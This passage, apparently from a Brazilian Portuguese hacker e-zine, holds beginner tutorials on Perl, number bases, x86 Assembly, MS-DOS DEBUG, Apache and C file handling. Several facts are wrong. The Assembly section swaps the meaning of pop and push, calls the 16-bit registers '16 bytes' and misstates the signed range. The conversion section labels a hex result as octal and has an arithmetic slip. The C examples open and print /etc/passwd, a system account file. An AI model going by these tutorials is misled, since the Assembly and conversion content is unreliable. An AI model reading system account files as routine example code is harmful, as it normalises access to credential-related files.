Fcil no?


Outra coisa que quero falar tambm  como comentar dentro do perl...

Muitos dos programadores quando esto programando fazem comentrios para no 
se perderem... tipo assim..

######################
#!/usr/bin/perl -w 
print "oi\n"; #Nessa funcao ele vai falar oi
######################

Isso que  um comentario... apos ou antes da funco acrescente um # e ponha o
que kiser sendo que as linhas que esto sendo comentadas sempre tem q ter
o "#" antes.

E outra.... sempre quando voc terminar uma funco acrescente ; no final para 
determinar que voc concluu a funo.

Bem vamos em diante.....


[2]-Sinais

Bem aqui irei falar sobre alguns sinaizinhos utilizados em perl em alinhao 
de texto, operaes e etc....

Caracteres de Controle e Interpolao

Caracter     Descrio

\a           Alarme (sinal sonoro).
\b           Tecla de retrosesso (backspace).
\c[          CTRL-C.
\e           ESC (Escape).
\f           Avano de formulrio (Formfeed).
\n           Nova linha (newline).
\r           Retorno automtico (return).
\t           Tabulao (tab).
\033         ESC em octal.
\x7f         Del em hexadecimal.
\\           Barra invertida.
\"           Aspas dupla.

Afinal.... para quem esses codigos todos servem?
Bem quando voc for printar algo(Funcao print que ser explicado no prximo 
captulo) voc ver a utilidade... Apenas decore ou pegue os codigos mais 
importantes desses....

[3]- Print

O comando print  utilizado para exibir algo que se quer na tela.... apenas
usando a seguinte sintaxe...

1-> print
2-> abre aspas
3-> escreve a msg com algum code que vc aprendeu no capitulo 2
4-> fecha aspas
5-> poe ; 

ou seja ficaria assim:

print "Sua msg\n";  

Utilizamos no final o caracterer \n ou seja nova linha... qnd ele for concluido 
ele vai fazer uma nova lina.... Coisa simples... ;)

print "Falaewwww\a"; 

print usado apitando com \a piiii ou seja alarme...

E vai por aih...

[4]- variveis

Bem.... Primeiramente gostaria de exclarecer que na linguagem perl existem 
vrios tipos de variveis

$ = scalar ( Variavel com 1 valor )
@ = matriz ( Variavel com varios valores )
  
E handles, hashes e etc...

Mas como esse  meu primeiro texto, vou falar algo apenas o bsico...

$scalar  a varivel onde voc determina apenas um valor para ser usado 
depois... um exemplo:

################################
#!/usr/bin/perl -w
#Linha comentada ;)
#Sort gostosao... huhuhu =]
$comida = "Lazanha";
print "Minha comida favorita  $comida\n";
#################################

Viu como o uso de variveis pode facilitar... no proxima edio falarei como
setar o proprio valor quando estiver rodando o programinha...

agora @  uma lista de valores....

@array=("lazanha","picanha","bife");

print @array;

r0x ;)
Bem vou neim explicar como usar varivel... pois isso  baba...!

[4]- Operador (IF)

Como  o texto inicial apenas irei falar sobre um comando que  considerado 
como operadores de funo... Primeiramente irei falar.... depois mostrarei o 
codigo...

IF se basea em perl, na condio ou seja, como o proprio nome j diz Se..um 
exemplo..

                   PROGRAMA         
1a)

#######################################################
#                    PROGRAMA                         #
#                   /        \       <- 2 caminhos... # 
#Se eu jogo futebol           Se eu nado              #
#    |                            |                   #
#    |                            |                   #
#Eu sou bom                   Eu sou um otrio        # 
#######################################################                

Bem, hehehhehee.... no se asuste se voc joga futebol ou nada ;)... isso  
apenas um pequeno exemplo de condio

O grafico j foi mostrado... agora o code....

#!/usr/bin/perl -w
print "Programa com 2 caminhos\n";
print "Se vc joga futebol aperte F, se vc nada aperte N:\t";
$oqfaco=<STDIN>; #stdin se usa p/ armazenar dados,aprenderemos isso mais tarde
chomp($oqfaco); #chomp guarda o q estah contido na var
if($oqfaco eq N){print "Sou otario\n";}
if($oqfaco eq F){print "Eu sou bom\n";}

Como vc pode ver o que acontece ... Ele pega e pergunta o q o kra faz usando
print...depois ele usa stdin... aprenderemos isso mais tarde..... ou se kiser
aprenda agora...use sempre

$var =<STDIN>; # aih eh soh digitar e apertar enter
#na proxima edicao falaremos melhor disso

Continuando....ele guarda o valor estabelecido no stdin usando o comando 
chomp... depois ele abre as condicoes se $oqfaco for igual a N digitado no 
stdin ele abrir { e executar uma funcao.... agora se $oqfaco for igual a
F... ele tb abrir um { e executar outra funcao... 

Facil nao? aprender + aprender + aprender = conceito

[5]- FIM

Bem... espero que isso tenha significado algo para voc... No fao texto 
para fikar famoso e sim para incentivar a comunidade newbie a crescer... =]

Tkz for: Gotoxy, seed, bluudi, r0ot, esqui, finger, rpsse, minerva` , lolo, 
kbytes, cruschx, Bl4Ck-D13 e entre outros....

 s! []'s

                                                   sort
                                                   sort005@yahoo.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [9]
==[ Sistema numerico  ]==
==[ por O_Mascote     ]==

 +----------------------------------------------------------+
 | Sistema numericos (Decimal, Hexadecimal, Octal & Binrio |
 | escrito por: O_Mascote        <mascotevr@gratis1.com.br> |
 +----------------------------------------------------------+

Nao sei se esse texto vai servir para algum mais isso aqui 
sempre bom saber para programar em qualquer linguagem, at
HTML (cores).

  ----------------------------------------------------------

       Primeiramente vou falar das bases e como convertelas
   para a base DEC(DECIMAL)


 - Decimal (10)
   Sistema compreendido entre 0 e 9 (0,1,2,3,4,5,6,7,8,9,0)
   Usado diariamente em nossos calculos de matemtica.
  
   Representao de um numero decimal(DEC) em sua base (10)
     Exemplo:
       321 => 1 * 10 ^ 0 + 2 * 10 ^ 1 + 3 * 10 ^ 2
                  1      +   20       +   300       = 321
       Explicao: A contagem  feita de 0 em diante (0,1,2)
       e nao do 1 em diante (1,2,3), sabendo disso vc pega
       o ultimo numero, neste exemplo 1, e multiplica por
       10 elevado a 0, depois pega o segundo numero (de tras
       para frente) e multiplica por 10 elevado a 1 e assim
       por diante.

- Binrio (2)
  Sistema compreendido entre 0 e 1 (0,1)
  Usado em nosso dia-a-dia sem ns sabermos... o computador
  usa esse sistema.
 
  Sua representao e converso para a base DEC(decimal) 
  feita de forma semelhante a DEC, tao quanto os outros sistemas.
  Exemplo:
    1001 => 1 * 2 ^ 0 + 0 * 2 ^ 1 + 0 * 2 ^ 2 + 1 * 2 ^ 3
               1      +     0     +     0     +     8     = 9 em DEC

  Para a transformao de BIN para DEC podemos utilizar tbm de uma
  tabala que voc pode ver aqui em baixo:

  ...| 2^5 | 2^4 | 2^3 | 2^2 | 2^1 | 2^0 
     +-----+-----+-----+-----+-----+-----
     |     |     |     |     |     |

  Voc pode prolongar esse tabela o quanto precisar.

  Como usar a tabela? 
    Coloque o seu numero em BIN dentro da tabela e as colunas
    que ficarem marcadas com 1 vc faz a elavaao e soma com as
    outras colunas marcadas com 1.

  Faremos agora um exemplo do uso da tabela com o seguinte numero:
  110011

   2^5 | 2^4 | 2^3 | 2^2 | 2^1 | 2^0
  -----+-----+-----+-----+-----+-----
    1  |  1  |  0  |  0  |  1  |  1

    32 +  16 +  0  +  0  +  2  +  1  = 51

  Entenderam? 

- Octal (8)
  Sistema compreendido entre 0 e 7 (0,1,2,3,4,5,6,7)

  Para converter um numero Octal(OCT)  feito de forma semelhante
  a representacao de um nume DEC na base 10, mas
  de vez de ser na base 10  na base 8(pq ser hein?!?)

  170  = 0 * 8^0 + 7 * 8^1 + 1 * 8^2  = 120
            0    +     56  +    64    = 120

- Hexadecimal (16)
  Sistema compreendido entre 0 at 9 e tambm com as letras A B C
  D E F. 
  Este sistema as vezes  usado para representar cores de HTML.

  Para converter um numero Hexadecimal(HEX)  feito de forma
  semelhante a representacao de um nume DEC na base 10, mas
  de vez de ser na base 10  na base 16(pq ser hein?!?)

  J ia me esquecendo... Cada letra equivale a um nmero, A = 10
  B = 11, C = 12, D = 13, E = 14 e F = 15
  Deste modo na hora de representar um numero HEX na forma de base
  16 voc tem que substituir as letras pelo seu numero correspondente.

  52C1 = 1 * 16^0 + 12(C) * 16^1 + 2 * 16^2 + 5 * 16^3 
            1     +      192     +   512    +  20480   = 21185

Agora veremos algumas conversoes entre bases....

  - DEC p/ BIN
  Basta pegar o numero decimal e ir divindo por dois, a representacao
  do numero DEC em BIN ser os restos da divisao. A formacao do numero
  BIN  da seguinte forma....

  552 / 2 = 276 e sobra 0
  276 / 2 = 138 e sobra 0
  138 / 2 =  69 e sobra 0
   69 / 2 =  34 e sobra 1
   32 / 2 =  17 e sobra 0
   17 / 2 =   8 e sobra 1
    8 / 2 =   4 e sobra 0
    4 / 2 =   2 e sobra 0
    2 / 2 =   1 e sobra 0

  Agora voc pega o resultado da ultima divisao e coloca depois dele
  as sobras comecando de baixo para cima... ento o numero 552 ficaria
  da seguinte forma em BIN: 1000101000

  Se nao entenderam lenham de novo e se mesmo assim nao entenderam
  podem tirar a(s) duvida(s) comigo.

 - DEC p/ OCT
  Basta pegar o numero decimal e ir divindo por oito, a representacao
  do numero DEC em OCT ser os restos da divisao. A formacao do numero
  OCT  da seguinte forma....

  92 / 8 = 11 e sobra 4
  11 / 8 =  1 e sobra 3

  Agora voc pega o resultado da ultima divisao e coloca depois dele
  as sobras comecando de baixo para cima... entao o numero 92 ficaria
  da seguinte forma em OCT: 134 

  Tem outra maneira.... voc transforma o numero DEC p/ BIN e depois
  converte o BIN p/ OCT (explico mais a frente como fazer essa convercao)

- DEC p/ HEX
  Basta pegar o numero decimal e ir divindo por 16, a representacao
  do numero DEC em HEX ser os restos da divisao. A formacao do numero
  HEX  da seguinte forma.... LEmbres de transforma os numeros maiores
  que 9 (10,11,12,13,14,15) para sua respectivas letras

  1000 / 16 = 62 e sobra 8
    62 / 16 =  3 e sobra 14 

  Agora voc pega o resultado da ultima divisao e coloca depois dele
  as sobras comecando de baixo para cima... entao o numero 1000 ficaria
  da seguinte forma em HEX: 3E8 

  Tem outra maneira.... voc transforma o numero DEC p/ BIN e depois
  converte o BIN p/ HEX (explico mais a frente como fazer essa convercao)

- BIN p/ OCT
   s voc separar o numero BIN em parte com 3 digitos (da direita
  para a esquerda) deste modo aqui:
    Ex.: 1011100 separado ficaria assim 1 011 100
         Entendeu?!? Se no entendue pq vc  burro.
  Agora voc pega esse numero e joga na seguinte tabela:
             2^2 | 2^1 | 2^0
           ------+-----+------
                 |     |
                 |     |

    A voc vai fazer a soma de cada linha.... Por exemplo, voc pega
    a primeira linha e tudo que tiver marcado com 1 voc faz a elevacao
    e soma com as outras colunas que estiveram marcada tambm com 1.
    Vai ficar mais fcil de entender com esse exemplo abaixo:
 
      92(10) = 1011100(2) = ????(8)
                  |
                  \>1 011 100 

            2^2 | 2^1 | 2^0
           ------+-----+------
              1  |  0  |  0    = 1 * 2^2 + 0 * 2^1 + 0 * 2^0 = 4
              0  |  1  |  1    = 0 * 2^2 + 1 * 2^1 + 1 * 2^0 = 3
                 |     |  1    = 0 * 2^2 + 0 * 2^1 + 1 * 2^0 = 1

     Agora voc pega o resultado de cada linha de baixo para cima
     Ento ficaria da seguinte forma:  134(8)

     Agora s falta mais um... ufa.

- BIN p/ HEX
   feita da mesma forma de BIN p/ OCT mais de vez de voc dividir
  o numero BIN em parte de 3 digitos voc divide em partes de 4 digitos
  e joga em uma tabela de 4 colunas e precede da mesma forma...
  2^3 | 2^2 | 2^1 | 2^0
------+-----+-----+------
      |     |     |    
      |     |     |

  Vamos fazer um exemplo para ficar mais fcil de entender....
  E nao pode esquecer de mudar os numeros 10 11 12 13 14 15 para suas
  respectivas letras(A,B,C,D,E,F)
  1000(10) = 1111101000(2) = ????(16)
                 |
                 \> 11 1110 1000
  2^3 | 2^2 | 2^1 | 2^0
------+-----+-----+------
   1  |  0  |  0  |  0    = 2^3             = 8       ^ Pegar os numeros
   1  |  1  |  1  |  0    = 2^3 + 2^2 + 2^1 = 14 (E)  | de baixo para
      |     |  1  |  1    = 2^1 + 2^0       = 3       | cima
      |     |     |

  Entao o numero 1000 na base DEC  igual a 3E8 na base OCT


Ta ae o meu texto quem tiver duvida me manda um email.

                                               O_Mascote
                                               mascotevr@gratis1.com.br                 
.:x|-------------------------------------------------------------------|x:.





        




SETOR [10]
==[ Assembly - Parte I ]==
==[ por Gotoxy         ]==

Assembly - Conceitos basicos

########################################
Compilador: Mingo Assembler last version
Sistema utilizado: Windows 9x
########################################

O compilador Mingo Assembler ser otimo para voce que esta iniciando em ASM.
Voce pode pega-lo em: http://mahome.mingus.cjb.net

Apos instala-lo, basta digitar o comando abaixo para compilar:

C:\> ma nome_do_programa.asm
ou 
C:\> ma nome_do_programa

Isso gerar arquivos .COM.Caso queira extensao .EXE, basta utilizar o comando:

C:\> ma -e nome_do_programa.asm
ou 
C:\> ma -e nome_do_programa

Assembly
########

nao vou falar teoria nao.. mas eh bom saber q o asm(assembly) eh uma LM 
(Linguagem de maquina).. e q atraves dela podemos ter o total controle
sobre o SO (system operation - sistema operacional).. ela eh muito boa, tanto 
para o lado do hacking quanto para o lado do cracking!! Mas nao eh soh
por isso que ela eh boa.. programas escritos em ASM rodam bem mais 
rapidos e nao gastam tanta memoria para isso..

Estrutura
#########

As linhas de codigo em Assembly eh divida em duas partes: a primeira eh o
nome da instrucao a ser executada e a segunda os parametros do comando.

eh algo como:
<instrucao> <destino>, <valor>

Instrucoes
##########

hmmm.. vemos esse 'mov' em muitos programas.. vamos ver denovo:

mov ax, 3

mov - MOVimentar
ax  - registrador
3   - valor 

o mov eh uma instrucao e tem como finalidade movimentar um dado de um lugar 
para outro. o AX eh um registrador (veremos isso mais a frente) e esse "3"
eh um valor.. "mov ax,3" equivale a "ax = 3"
o que isso faz? apenas move o valor "3" para o registrador AX..

vejamos:

mov ax, 003
mov bx, 006
add ax,bx
int 20h

o q isso faz? apenas coloca o valor 003 no registrador ax, 006 no 
registrador bx, e dps acrescenta o valor de bx ao ax (atraves do comando add)..
e esse valor fica no ax..portanto ax agora eh 009! int 20h sai para o dos..

agora sabemos q o comando(instrucao) add soma um valor;sua sintaxe eh: 
add destinario, valor

vc tb pode subtrair.. para isso vc usa a instrucao sub..sintaxe:
sub destinario, valor

um exemplo segue abaixo, vamos usar um numero decimal, para melhor entedimento:

mov ax, 10 ; coloca o valor 10  no registrador ax
sub ax, 8  ;subtrai 8 de ax.. e ax vale 10..portanto, ax agora tem o valor 2
int 20h    ;sai para o dos

hmm.. agora aprendemos q o caractere ";", em asm, sao comentarios!! em C, usamos
/* isso */ ou // para comentar.. em shellscript e perl usamos # para
comentar.. em pascal usamos {chaves} para comentar.. e assim por diante.. se
todas tem, pq asm nao teria?!:)

para voce guardar um valor de um registrador na pilha(stack), basta usar a 
instrucao pop..

vejamos:

mov ax, 2
pop ax   ; guarda o valor de AX no stack 
mov ax 3 ; agora AX tem o valor 3

aih voce pergunta: "tem jeito de eu voltar com o valor anterior?" - tem sim!
para isso, usamos a instrucao push..

vejamos:

mov ax, 2
pop ax   ; guarda o valor de AX no stack 
mov ax 3 ; agora AX tem o valor 3
push ax  ; agora o valor de AX volta a ser 2 

obs: lembre-se que o POP vai retirar o ultimo dado inserido no stack!!
     no texto sobre Buffer Overflows que se encontra nesta edicao, fala
     um pouco sobre o Stack, portanto, corra la e d uma lida.

Existe varias outras instrucoes, o quais nao vou entrar em detalhes agora, 
mas em todo caso, sao elas: 

instrucoes de transferencia: mov,movs, movsb, movsd, movsw, movsx, movzx, 
lea, push, pop ...

instrucoes de comparacoes: cmp, test ...

instrucoes aritmeticas: add, sub, mul, div, inc, dec ...

instrucoes de salto: jmp,ja, jae, jb, jbe, jc, jcxz, je, jg, jge, jl,
jle, jna, jnae, jnb, jnc, jne, jng, jnge, jnl, jnle, jno, jnp, jns, jnz,
jo, jp, jpe, jpo, js, jz (puts ehehe..."cala a boca gotoxy!!"), call, ...

Bem, existe varias outras!!! 


Interrupcoes
############

as interrupcoes mais usadas, sao: 

teclado (int 16h) - entrada e saida do teclado
video   (int 10h) - entrada e saida do video
msdos   (int 21h) - multiplas chamadas a funcoes DOS

um exemplo:

mov ax, 3 ; 3 em hexadecimal = 3 em decimal
int 10h   ; int 16 (em decimal)
int 21h   ; int 33 (em decimal) 

este programa vai limpar a tela e depois vai voltar para o msdos! se vc 
mudar o valor de ax, a resolucao sera diferente! se voce estiver programando 
no mingo assembler, notar que vc pode usar numeros binarios, decimais, 
hexadecimais e octais... portanto, se voce colocar o valor de ax sendo por
exemplo 3h ou 3d, serah a mesma coisa!! 


Sistema numerico 
#################

Nao vai ser necessario eu falar sobre o sistema numero aqui, porque no setor
9 do zine jah fala! Portanto, corra la e e leia e aprenda e depos volte!:)
Pois eh necessario conhecer esses numeros para trabalhar com Assembly.

Registradores
#############

Vamos falar um pouco sobre os registradores!! vou falar apenas de 4, q sao o 
basico..sao eles: ax,bx,cx,dx. eles sao como variaveis jah definidades.. se vc 
jah programa em alguma linguagem (como por exemplo C), entende do q eu
falo.. caso contrario, pegue o basico de C, sobre variaveis q vc entenderah!!

ax Registrador acumulador 
ah byte high - byte alto
al byte low - byte baixo

bx Registrador base
bh byte high - byte alto
bl byte low - byte baixo

cx Registrador contador
ch byte high - byte alto
cl byte low - byte baixo

dx Registrador de deslocamento
dh byte high - byte alto
dl byte low - byte baixo

eles sao registradores de 16 bytes!! isso quer dizer q podemos armazenar um 
inteiro positivo de 0 a 65535 ou um inteiro com sinal de -32768 to 32768

proxima edicao deste, vou falar mais de cada um dos registradores.


Um simples programa
###################

---- exemplo1.asm ----
; by gotuuuu :)

mov ax, 3
int 10h
mov ah, 2
mov dl, 5Ah
int 21h
mov dl, 69h
int 21h
mov dl, 6Eh
int 21h
mov dl, 65h
int 21h
mov dl, 73h
int 21h
mov dl, 62h
int 21h
mov dl, 72h
int 21h
mov ah,4ch
int 21h

---- exemplo1.asm ----

Podem compila-lo e executa-lo tranquilamente..:)
  ps: o exemplo1.asm nao afetarah o seu sistema ou algo do genero!

lastwords
#########

muitos acham assembly uma coisa de outro mundo..no inicio eh sim, mas depois 
que voce le muito e pratica bastante, voce ve que a coisa nao eh tao dificil
assim!! 

the end


##################################
## Em breve, a segunda parte... ##
##################################
                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [11]
==[ Debug - O basico ]==
==[ por Gotoxy       ]==

DEBUG!
######

1. Introducao
2. Onde pegar?
3. Rodando o Debug
4. Iniciando o codigo
   4.1 Colocando o tamanho do programa
   4.2 Colocando nome no programa
   4.3 Salvando o programa
   4.4 Saindo
   4.5 Executando
5. Links
6. Fim


1) Introducao
#############

O debug eh um programa muito util para quem esta comecando a programar em 
asm(assembly). Ele faz programas pequenos, mas mesmo assim eh bom! Com ele
voce pode editar, reditar, enfim, fazer quase tudo atraves dele..porem h
muitas limitacoes!! Mas antes de voce pular para um compilador (como por 
exemplo o Mingo Assembler), eu recomendo uma base no programa Debug.Este
texto serve apenas para ter um primeiro contato com este programa, mas 
saiba que aqui eu nao ensinarei como programar em ASM. Isso aqui  o
basico mesmo, se voce quiser saber mais coisas, recomendo a leitura do
Mingo Assembler Zine Edicao 04, o qual voce pode encontrar na url abaixo:
http://mahome.mingus.cjb.net, nele voce encontra mais detalhes sobre o
deBUG.

2) Onde pegar?
##############

Nao precisa pega-lo em lugar algum, pois ele j vem junto ao MS-DOS.

3) Rodando o Debug
##################

Primeiro entre no prompt do ms-dos e em seguida digite: debug
Vai aparecer um "-" (hifen)! Esse "-" significa que voce esta no
prompt do Debug.

4) Iniciando o codigo
#####################

Apos aparecer o hifen, digite "a". Apos isso, voce j pode inserir
o codigo do seu programa. Veja:

C:\> debug
- a
1770:0100

O primeiro numero (1770) corresponde ao segmento de memoria q estah
sendo usado e o segundo eh uma referencia ao endereco dentro  do
segmento, eh um deslocamento dentro do segmento offset. 


Vamos fazer um programa bem simples... Veja:

C:\> debug
- a
1770:0100 mov ax, 3
1770:0103 int 10h
1770:0105 int 21h
1770:0107 [enter]
-

Quando voce terminar de escrever o codigo, basta apertar [enter]. Isso
far voltar para o prompt do Debug.

4.1 Colocando o tamanho do programa
###################################

Agora voce precisa indicar o tamanho do programa. Para isso, basta olhar
a posicao em que voce parou de escrever o codigo e voltou para o prompt 
do Debug. Veja:

1770:0100 mov ax, 3
1770:0103 int 10h
1770:0105 int 21h
1770:0107 
       |
       `- olha aqui esse "07"! Isso quer dizer que o programa tem 07 bytes.

Aih basta voce registrar o tamanho do programa no registrador CX, bastando
digitar rcx no prompt e depois que aparecer o ":" (dois pontos), voce digita
o tamanho, no caso, 07. Acompanhe o exemplo:

C:\> debug
- a
1770:0100 mov ax, 3
1770:0103 int 10h
1770:0105 int 21h
1770:0107 [enter]
- rcx
CX 0000
:07
- r cx
CX 0007
- 

O registrador CX tinha o valor 00, depois que registramos o tamanho
do programa, o registrador CX ficou com 07 bytes (vimos isso atraves
do comando "r cx" (esse 'r' mostra o conteudo dos registradores).

4.2 Colocando nome no programa
##############################

Agora voce precisa colocar nome no seu programa! Basta utilizar a
opcao N do Debug.

- N nome.com

Onde, nome eh o nome do programa e .com eh a extensao (tem que ser .com)

Veja:

C:\> debug
- a
1770:0100 mov ax, 3
1770:0103 int 10h
1770:0105 int 21h
1770:0107 [enter]
- rcx
CX 0000
:07
- r cx
CX 0007
- N teste.com

4.3 Salvando o programa
#######################

Para voce salvar o seu programa, basta utilizar a opcao W do Debug! 
Veja:

C:\> debug
- a
1770:0100 mov ax, 3
1770:0103 int 10h
1770:0105 int 21h
1770:0107 [enter]
- rcx
CX 0000
:07
- r cx
CX 0007
- N teste.com
- w
Gravando 00007 bytes


4.4 Saindo
##########

Agora digite
- q 
para sair

4.5 Executando
##############

Para roda-lo, basta digitar no prompt do msdos
c:\> teste

Ocorreu um cls (a tela foi limpada)? bingo!! =)

5. Links
########

http://mahome.mingus.cjb.net - Pegue todas as edicoes do Mingo Assembler Zine
Na edicao 04 do mesmo, voce encontra um tutorial muito bom sobre o Debug!
(A pagina esta 95% em ingles e 5% em portugues. O zine esta 100% portugues)

Sobre ASM: http://www.linuxassembly.org
Uma pagina muito boa sobre Assembly! (English)

6. Fim
######

Espero ter ajudado um pouco ao caro leitor newbie fucador! Saiba que aprender
a mecher no Debug eh o basico para uma pessoa que esteje afim de aprender
Assembly (e saiba que aprender Assembly eh de suma importancia p/ um fucador).
                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [12]
==[ Apache - Parte I ]==
==[ por esquelet     ]==

Histria - 01
#############

   Vamos inciciar um curso de como configurar um servidor de Web ( Apache ).
 
  O Apache  um servidor de internet que comeou a ser desenvolvido por volta 
de 1995 , tendo como base o servidor  HTTPd 1.3  ( fabricante do Mosaic que 
acabou dando origem ao Internet Explore . Em pouco tempo ele se acabou 
igualando aos outros servidor de Web baseado na plantaformo do Unix.
  A grande diferncia  entre o Apache e o HTTPd apesar de os dois serem de 
excelente qualidade  por que o Apache  gratuto e pode ser usado para o uso 
comercial enquanto o HTTPd  gratuto e no pode ser usado para fins comercial,
ou seja , para lucro.  
  O desenvolvimento do Apache foi feita por um grupo de voluntrios 
especialista sem nenhama participao do setor comercial. 
  O nome Apache no se referem a uma tribo de ndigena.Ele  originrio de um 
jogo de palavra ou seja , um servidor com arquivo patch .
  O Apache poder ser encontrado neste site ( www.apache.org ).

Diretrio do Apache - 02
########################

/ usr / sbin / httpd -> Neste diretrio se encontrar um Daemon responsvel por 
rodar o Apache .

   Daemon ( um processo em segundo plano ) .

/home/httpd/cgi ->  Nesse diretrio podemos encontrar os Cgi ( SCRIPT )

/ etc / httpd/ conf Encontramos os arquivos de configurao do Apache .

/ home / httpd / icons -> Encontramos os cones utilizado pelo servidor .

/ home / httpd / html -> Encotramos as pginas em html ou htm .

/ var / log / httpd -> Encontramos os logs do servidor .

Diretrio de configurao do Apache - 03
########################################

Normalmente o diretrio do Apache se encontrar em / etc / httpd / , os 
arquivos que se encontra nesse diretrio so : 
   
acces.conf  -> Controla o acesso aos diretrio . 

httpd.conf -> Controla diretamente o servidor de Web .

srm.conf  -> Controla as especificao dos documentos fornecida ao 
usurio pelo o servidor .

Falando um pouco do arquivo httpd.conf - 04
###########################################

Servertype -> Especficar o modo de como o servidor vai rodar se vai 
ser em modo standalone ou inetd .

Servertype Standalone  o moda padro do servidor Apache .

Usurio e gropos -> Voce precisa atribuir um nome e um nome do grupo
ao  servidor para as permisses .

User nobody e Group #1 Esse  o padro do Apache

ServerAdmin ->  o endero do e-mail do administrador do que retorna
em caso de houver alguma falha .
  
ServerRoot -> Refere -se aos diretrios que contm  os arquivos de 
suporte para o servidor .

                         BindAddress 

BindAddress * -> O servidor atendera conexo com qualquer endereo IP
e qualquer dominios .

BindAdrress -> Devemos especficar o endereo IP para poder estabelecer 
a conexo .

ErrorLog -> Localizao dos logs.

Transferlog -> Lista a localizao dos registros de transferncia , o q
informa o quer estar acessando pelo servidor de web .

(na prxima edicao faleremos mais sobre o Apache )

                                                  Esquelet
                                                  esquelet@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [13]
==[ Basico de C II ]==
==[ por Gotoxy     ]==

------------------------
| MANIPULANDO ARQUIVOS |
------------------------

\\ Quadro Mode   
\\ ------------------------------------------------------------------------- //

Codigo   Significado
"r"      Abre um arquivo para leitura
"w"      Cria um arquivo para escrita
"a"      Acrescenta dados para um arquivo existente
"rb"     Abre um arquivo binario pra leitura
"wb"     Cria um arquivo binario para esrita
"ab"     Acrescenta dados a um arquivo binario
"r+"     Abre um arquivo para leitura/escrita
"w+"     Cria um arquivo para leitura/escrita
"a+"     Acrescenta dados ou cria um arquivo para leitura/escrita
"r+b"    Abre um arquivo binario para leitura/escrita
"w+b"    Cria um arquivo binario para leitura/escrita
"a+b"    Acrescenta ou cria um arquivo binario para leitura/escrita
"rt"     Abre um arquivo texto para leitura
"wt"     Cria um arquivo texto para escrita
"at"     Acrescenta dados a um arquivo texto
"r+t"    Abre um arquivo texto para leitura/escrita
"w+t"    Cria um arquivo texto para leitura/escrita
"a+t"    Acrescenta dados ou cria um arquivo texto para leitura/escrita

\\ ------------------------------------------------------------------------- //

Podemos declarar um ponteiro de arquivo da seguinte maneira:

FILE *arquivo;

'*arquivo' eh o ponteiro para um arquivo (ele que vai apontar para o arquivo)

voce pode declarar quantos quiser..ex:

FILE *arq1, *arq2;

e por aih vai.. 


fopen() - Abre arquivos
-----------------------

Para abrimos um arquivo, utilizamos a funcao fopen():

arquivo = fopen("nome_do_arquivo","modo");
|          |          |             |
|          |          |             `-- consulte o Quadro Mode
|          |          `-- aqui eh o nome do arquivo que voce vai utilizar
|          `-- aqui eh a  funcao propriamente dita 
`-- aqui eh o ponteiro do arquivo


Sempre que abrimos um arquivo, devemos fecha-lo! Fazemos isso, utilizando
a funcao fclose().

um exemplo do que vimos ateh agora seria:

main(){
FILE *dados; 
dados = fopen("teste.txt","r"); /* abre arquivo para leitura */
fclose(dados); /* fecha arquivo */
}

O que o programa acima faz? Ele apenas abre o arquivo teste.txt para leitura
e depois fecha ele. Quando estamos trabalhando com arquivos, alguns comandos
mudam! Por exemplo, ao invez de usarmos printf(), usamos fprinf() para inserir
dados no arquivo. Vamos ver como utilizar este comando e outros comandos ao 
decorrer do texto.

fprintf() - Escreve no arquivo
------------------------------

Sintaxe: fprintf(nomedoponteiro,"tipo de arquivos",dados);

Um exemplo? Aih vai:

main(){
char meunome[]  = "gotoxy";
FILE *dados; 
dados = fopen("teste2.txt","w"); /* cria um arquivo para escrita */
fprintf(dados,"%s",meunome); /* imprime 'meunome' no arquivo */
fclose(dados); /* fecha arquivo */
}

fscanf() - Permite ler dados de um arquivo
------------------------------------------

Sintaxe: fscanf (nomedoponteiro,"tipo de arquivos",dados);

Um outro exemplo? Aih vai:

#include <stdio.h>
main(){
FILE *pass;
char pas[25];
pass = fopen("/etc/passwd","r"); /* abre /etc/passwd para leitura */
fscanf(pass,"%s",pas);
printf("%s\n",pas);
fclose(pass); /* fecha arquivo */
}

Fseek() - Permite encontrar o localizador de posicao do arquivo
---------------------------------------------------------------

Sintaxe: fseek(nomedoponteiro,long numbytes,origem);

long numbytes: eh o numero de bytes a partir da origem ateh a posiaco atual
origem: eh uma das macros definidas no header stdio.h.

Tabela de macros:

Nome da macro: SEEK_SET
Origem: inicio do arquivo
Valor numerico: 0

Nome da macro: SEEK_CUR
Origem: meio do arquivo
Valor numerico: 1

Nome da macro: SEEK_END
Origem: fim do arquivo
Valor numerico: 2

Tendo-se definido a partir de onde irah se contar numbytes, determina-se
quantos bytes de deslocamento sera dado na posicao corrente.

Um exemplo? Lah vai:

#include <stdio.h>
main(){
FILE *pass;
char x;
pass = fopen("/etc/passwd","r"); /* abrimos o /etc/passwd para leitura */
fseek(pass,0,SEEK_SET); /* le um caractere na posicao 1 do inicio do
                           arkivo */
x = getc(pass); 
printf("%c\n",x);
}

Caso voce nao tenha modificado o arquivo /etc/passwd, a primeira linha
seria: 

root:x:0:0::/root:/bin/bash

Portanto, a letra que iria sair na tela seria a 'r'. Se voce mudasse por
exemplo a posicao do arquivo para 1, a letra que iria sair era a 'o', e
assim por diante..


fread() - Retorna o numero de itens lidos
-----------------------------------------

Sintaxe: fread(variavel, numbytes,indice,ponteiro);

variavel: serve para indicar quantas caracteres serao lidos
numbytes: o numero de bytes que serao lidos
indice: indica quantas unidades devem ser lidas
ponteiro: eh o ponteiro para o arquivo

Quer um exemplo? Lah vai:

#include <stdio.h>

main(){
FILE *pass;
char pas[800];
pass = fopen("/etc/passwd","r");
fread(pas,sizeof(pas),1,pass);
printf("%s\n",pas);
fclose(pass);
}


fwrite() - Retorna o numero de itens escritos
---------------------------------------------

Sintaxe: fwrite(variavel, numbytes,indice,ponteiro);

variavel: serve para indicar quantas caracteres serao lidos
numbytes: o numero de bytes que serao lidos
indice: indica quantas unidades devem ser lidas
ponteiro: eh o ponteiro para o arquivo

Essa funcao funciona com junto com a funcao fread().

Um exemplo usando essa funcao segue abaixo:

#include <stdio.h>

main(){
FILE *ark;
char palavra[] = "abcd";
ark = fopen("abcd.txt","w");
if( fwrite(palavra,sizeof(palavra),1,ark) != 1)
   {
   printf("Nao consigo escrever no arquivo!\n");
   exit(0);
   }
fclose(ark);
}

--## The End ##---

Bem, termino por aqui.Espero ter colaborado mais um pouco para voces
